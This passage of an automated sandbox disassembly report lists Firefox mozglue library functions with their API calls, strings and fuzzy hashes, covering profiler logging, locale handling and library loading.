Instruction Fuzzy Hash: 6F31A4307402056BEF18AFA98D85BAE7B75AF81758F704014F612BBA80DB70D501CBBE

Function 6C5DECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DF100: LoadLibraryW.KERNEL32(shell32,?,6C64D020), ref: 6C5DF122
Part of subcall function 6C5DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5DF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C5DED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5DEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C5DEDCC
CreateFileW.KERNEL32 ref: 6C5DEE08
free.MOZGLUE(00000000), ref: 6C5DEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C5DEE32

Part of subcall function 6C5DEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C5DEBB5
Part of subcall function 6C5DEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C60D7F3), ref: 6C5DEBC3
Part of subcall function 6C5DEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C60D7F3), ref: 6C5DEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C5DEDC1

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 0c1ead24e0fbe7ed0fd6519ad3422a38af6a8d777d4cfd3c39c69cb08cf8cfee
Instruction ID: b16a77972cfc94c6aae75c994df6a28742b7824e567fd348577d68d48020b852
Opcode Fuzzy Hash: 0c1ead24e0fbe7ed0fd6519ad3422a38af6a8d777d4cfd3c39c69cb08cf8cfee
Instruction Fuzzy Hash: E351BF71D05305CBDB00EF69CC806AEF7B1EF49318F45892DD8556B740EB70B9488BAA

Function 6C64A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C64A565

Part of subcall function 6C64A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64A4BE
Part of subcall function 6C64A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C64A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C64A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C64A6B6

Strings

0, xrefs: 6C64A5FB
z, xrefs: 6C64A6AE

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: c3921916b56788db1bf5e0d8df5e33da266daa9e62dc192df2b27fe188fde355
Instruction ID: 24cbc72bd3d5390b5212edcceff619912e7f5c7f65775dc0a55415a0ae2abf42
Opcode Fuzzy Hash: c3921916b56788db1bf5e0d8df5e33da266daa9e62dc192df2b27fe188fde355
Instruction Fuzzy Hash: D8413771908745AFC341DF28C480A8FBBE5BF8A354F50CA2EF49987651EB30E549CB86

Function 6C619420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
__Init_thread_footer.LIBCMT ref: 6C61949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C619459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C61947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C61946B

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 053abd58d5580ae8042e636ee053eb9b44cd2b358935aec1a55b0456c535681f
Instruction ID: c007017edff905cf0b2949cc2b812e04e40c196ad86ae241fd1f0955dd370340
Opcode Fuzzy Hash: 053abd58d5580ae8042e636ee053eb9b44cd2b358935aec1a55b0456c535681f
Instruction Fuzzy Hash: 0301D870B041018BD700DB5FDD51A9A33759F0A32EF644536DD0BC6F52D722D465895F

Function 6C5DB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB6AC

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C5DB61E), ref: 6C5DB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB79A

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 9d3143ad546097b6b7f0224d05b166680fdf5310aace739ae972ca6783f6ea42
Instruction ID: f973d5a1bf15b3c4ea8f3b830fa7fd625e232a04d1dea47779d48892fb9e9a0c
Opcode Fuzzy Hash: 9d3143ad546097b6b7f0224d05b166680fdf5310aace739ae972ca6783f6ea42
Instruction Fuzzy Hash: 8641B5B2D002159FCB04DF6CDC805AEB7B6BB85324F264669E825E7780E731ED0487D9

Function 6C64B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C64B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C64B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C64B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C64B5F4
__Init_thread_footer.LIBCMT ref: 6C64B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C64B61F
std::_Facet_Register.LIBCPMT ref: 6C64B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C64B655

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3ed06060b659364213876274a287afdab5956058ed56047761a6dc249554f70e
Instruction ID: b3bf56f88296c04a18f5d9e09ee32895035bbe960e667af5f5d7442c650ec561
Opcode Fuzzy Hash: 3ed06060b659364213876274a287afdab5956058ed56047761a6dc249554f70e
Instruction Fuzzy Hash: 29317471B001048BCF04EF6AC8985AEB7F5FBC6324F644655D94697780DB71A806CF9E

Function 6C616590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C60FA80: GetCurrentThreadId.KERNEL32 ref: 6C60FA8D
Part of subcall function 6C60FA80: AcquireSRWLockExclusive.KERNEL32(6C65F448), ref: 6C60FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C616727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6167C8

Part of subcall function 6C624290: memcpy.VCRUNTIME140(?,?,6C632003,6C630AD9,?,6C630AD9,00000000,?,6C630AD9,?,00000004,?,6C631A62,?,6C632003,?), ref: 6C6242C4

Strings

data, xrefs: 6C616593
vel, xrefs: 6C61696C

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vel
API String ID: 511789754-235608994
Opcode ID: e449f2bb597fdb18dfdc715646ff949e7f981c1deb10b6cf73e9d774dcda3241
Instruction ID: e2952a0a1c09cdf61be258c86701e719cc1201f4f273b862ec1979ac7733a104
Opcode Fuzzy Hash: e449f2bb597fdb18dfdc715646ff949e7f981c1deb10b6cf73e9d774dcda3241
Instruction Fuzzy Hash: E4D1BF75A083408BD724DF29C840B9BB7E5EFC5308F10892DD58987B91EB71E809CB5A

Function 6C60D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C5DEB57,?,?,?,?,?,?,?,?,?), ref: 6C60D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C5DEB57,?), ref: 6C60D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C5DEB57,?), ref: 6C60D673
free.MOZGLUE(?), ref: 6C60D888

Strings

W]l, xrefs: 6C60D5D9, 6C60D63F
|Enabled, xrefs: 6C60D81E

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: W]l$|Enabled
API String ID: 4142949111-2942830398
Opcode ID: 0069ee711264cc39f642ba5d88742f9ff891cd9de472701a5711e8be2f3512a3
Instruction ID: 99872a2bbca111863dc3e694a459c73417c5726c162ecd48cad435c695c3d7ee
Opcode Fuzzy Hash: 0069ee711264cc39f642ba5d88742f9ff891cd9de472701a5711e8be2f3512a3
Instruction Fuzzy Hash: 90A1F2B0B003049FDB19CF69C9D07AEBBF1AF49318F58815CD885AB741D735A845CBA9

Function 6C621D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C621D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C621BE3,?,?,6C621D96,00000000), ref: 6C621D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C621BE3,?,?,6C621D96,00000000), ref: 6C621D4C
GetCurrentThreadId.KERNEL32 ref: 6C621DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C621DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C621DDA

Part of subcall function 6C621EF0: GetCurrentThreadId.KERNEL32 ref: 6C621F03
Part of subcall function 6C621EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C621DF2,00000000,00000000), ref: 6C621F0C
Part of subcall function 6C621EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C621F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C621DF4

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 1bff29665ea3e34d96730090efd07c9ad7184695756d00e47904eae99af36cb3
Instruction ID: 32d6001d44c943ab30f3fa0f92ef8f8e4a3e5ca717e45d1ff8b6c4be8af5a4da
Opcode Fuzzy Hash: 1bff29665ea3e34d96730090efd07c9ad7184695756d00e47904eae99af36cb3
Instruction Fuzzy Hash: 2E4179B52047019FCB14CF29C488A56BBF9FB89354F60442DE99A87B41CB35F854CB99

Function 6C6184E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6184F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C61850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C61851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C61855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C61856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6185AC

Part of subcall function 6C617670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C61767F
Part of subcall function 6C617670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C617693
Part of subcall function 6C617670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6176A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6185B2

Part of subcall function 6C5F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5F5EDB
Part of subcall function 6C5F5E90: memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F5F27
Part of subcall function 6C5F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5F5FB2

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 05925a0a2b44a7a72c5324338e5ef8f315da4f39ba0b73a377da281413da36ce
Instruction ID: 737218160b7d423da58f8143ff0f9a2f3b30ef60a11bf7ece1a09c163b6a3710
Opcode Fuzzy Hash: 05925a0a2b44a7a72c5324338e5ef8f315da4f39ba0b73a377da281413da36ce
Instruction Fuzzy Hash: AA219F742046019FDB14DF29C888A6AB7B5EF8830DF25482DE55B83B51DB31F948CB59

Function 6C5E1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5E1699
VerSetConditionMask.NTDLL ref: 6C5E16CB
VerSetConditionMask.NTDLL ref: 6C5E16D7
VerSetConditionMask.NTDLL ref: 6C5E16DE
VerSetConditionMask.NTDLL ref: 6C5E16E5
VerSetConditionMask.NTDLL ref: 6C5E16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5E16F9

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 2e6587165c126d1282ba19e7f97d374db92699eb14890d3bdd02e861d4d3bac1
Instruction ID: af939b88a34692d58bd748ea896bf9a25665b00e23c2f9321e85b4e0a27894f7
Opcode Fuzzy Hash: 2e6587165c126d1282ba19e7f97d374db92699eb14890d3bdd02e861d4d3bac1
Instruction Fuzzy Hash: 3E2102B07402086FEB10AB658C85FBBB3BCEFCA704F508528F6059B680C6799D548AA5

Function 6C61F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C61F598), ref: 6C61F621

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

GetCurrentThreadId.KERNEL32 ref: 6C61F637
AcquireSRWLockExclusive.KERNEL32(6C65F4B8,?,?,00000000,?,6C61F598), ref: 6C61F645
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8,?,?,00000000,?,6C61F598), ref: 6C61F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C61F62A

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 81668e69fff896bd8ec90d8e1c8c532579bd5ea0b36b72eec591fab869533bcd
Instruction ID: 48961d4249ed467fab7fec41923b139f2d1d617ddb26f1ed40591ff4f534c0f9
Opcode Fuzzy Hash: 81668e69fff896bd8ec90d8e1c8c532579bd5ea0b36b72eec591fab869533bcd
Instruction Fuzzy Hash: 09119475305205ABCB04EF5AD5849A57779FF8636DFA40015EA0583F42CB71A821CBAE

Function 6C6376C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6376F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C637705

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C637717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C63778F,00000000,00000000,00000000,00000000), ref: 6C637731
free.MOZGLUE(00000000), ref: 6C637760

Strings

}>al, xrefs: 6C6376C4

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>al
API String ID: 2538299546-2919635026
Opcode ID: 47d92276cb6b907281c839e2faa26fc779f7c386910dc150396f205652c2380f
Instruction ID: 12d048eba9ed0a31123fab2fdc843d28214a5629f637f78c0658985a908a81e7
Opcode Fuzzy Hash: 47d92276cb6b907281c839e2faa26fc779f7c386910dc150396f205652c2380f
Instruction Fuzzy Hash: 1811B6B1904325ABE710AF769D44BAB7EF8EF85354F145429F88897300E771984487E6

Function 6C5E0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C60D9F0,00000000), ref: 6C5E0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C5E0F3C
__Init_thread_footer.LIBCMT ref: 6C5E0F50
FreeLibrary.KERNEL32(?,6C60D9F0,00000000), ref: 6C5E0F86

Strings

CoInitializeEx, xrefs: 6C5E0F36
combase.dll, xrefs: 6C5E0F18

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 607ae5ffccf692160ee9afa1a89dd00b5c1750161b227b04f1cc06efac313929
Instruction ID: de2a9d3b34ae51405991d5045355cab596a8319fc408667cd103403eb44ae45d
Opcode Fuzzy Hash: 607ae5ffccf692160ee9afa1a89dd00b5c1750161b227b04f1cc06efac313929
